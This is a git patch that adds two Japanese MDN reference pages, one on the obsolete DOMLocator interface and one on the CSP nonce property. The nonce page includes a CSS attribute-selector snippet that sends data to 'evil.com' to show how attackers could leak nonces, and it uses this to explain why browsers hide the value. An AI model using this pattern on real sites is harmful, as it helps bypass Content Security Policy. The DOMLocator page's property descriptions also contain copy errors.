From 751e4b6115b0d8f30a147dcba95a3e21445ba4de Mon Sep 17 00:00:00 2001 From: MDN Date: Wed, 7 Jul 2021 00:36:00 +0000 Subject: [CRON] sync translated content --- files/ja/orphaned/web/api/domlocator/index.html | 57 ++++++++++++++++++++ .../web/api/htmlorforeignelement/nonce/index.html | 63 ++++++++++++++++++++++ 2 files changed, 120 insertions(+) create mode 100644 files/ja/orphaned/web/api/domlocator/index.html create mode 100644 files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html (limited to 'files/ja/orphaned/web') diff --git a/files/ja/orphaned/web/api/domlocator/index.html b/files/ja/orphaned/web/api/domlocator/index.html new file mode 100644 index 0000000000..a43fbf8320 --- /dev/null +++ b/files/ja/orphaned/web/api/domlocator/index.html @@ -0,0 +1,57 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +tags: + - API + - DOM + - DOM Reference + - Obsolete + - Reference +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +
+

NOTE: これは Mozilla には実装されていません

+
+ +

エラーが発生した場所などを示します。 DOMError.location によって返されます。

+ +

プロパティ

+ +
+
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
+ +

メソッド

+ +

このインターフェイスは、メソッドを実装も継承もしません。

+ +

仕様

+ + + + + + + + + + + + + + +
仕様ステータス備考
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}初回定義
diff --git a/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..ab1e19b3a6 --- /dev/null +++ b/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLOrForeignElement.nonce +slug: orphaned/Web/API/HTMLOrForeignElement/nonce +tags: + - API + - Content Security Policy + - Experimental + - HTML DOM + - HTMLElement + - Property + - Reference + - nonce +translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLOrForeignElement/nonce +--- +
{{APIRef("HTML DOM")}}
+ +

nonce は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。

+ +

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。

+ +

+ +

ノンス値の受け取り

+ +

以前は、すべてのブラウザーが IDL 属性の nonce に対応しているわけではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

+ +

ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

仕様書

+ + + + + + + + + + + + +
仕様書
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}
+ +

ブラウザーの互換性

+ +

{{Compat("api.HTMLElement.nonce")}}

+ +

関連情報

+ + -- cgit v1.2.3-54-g00ecf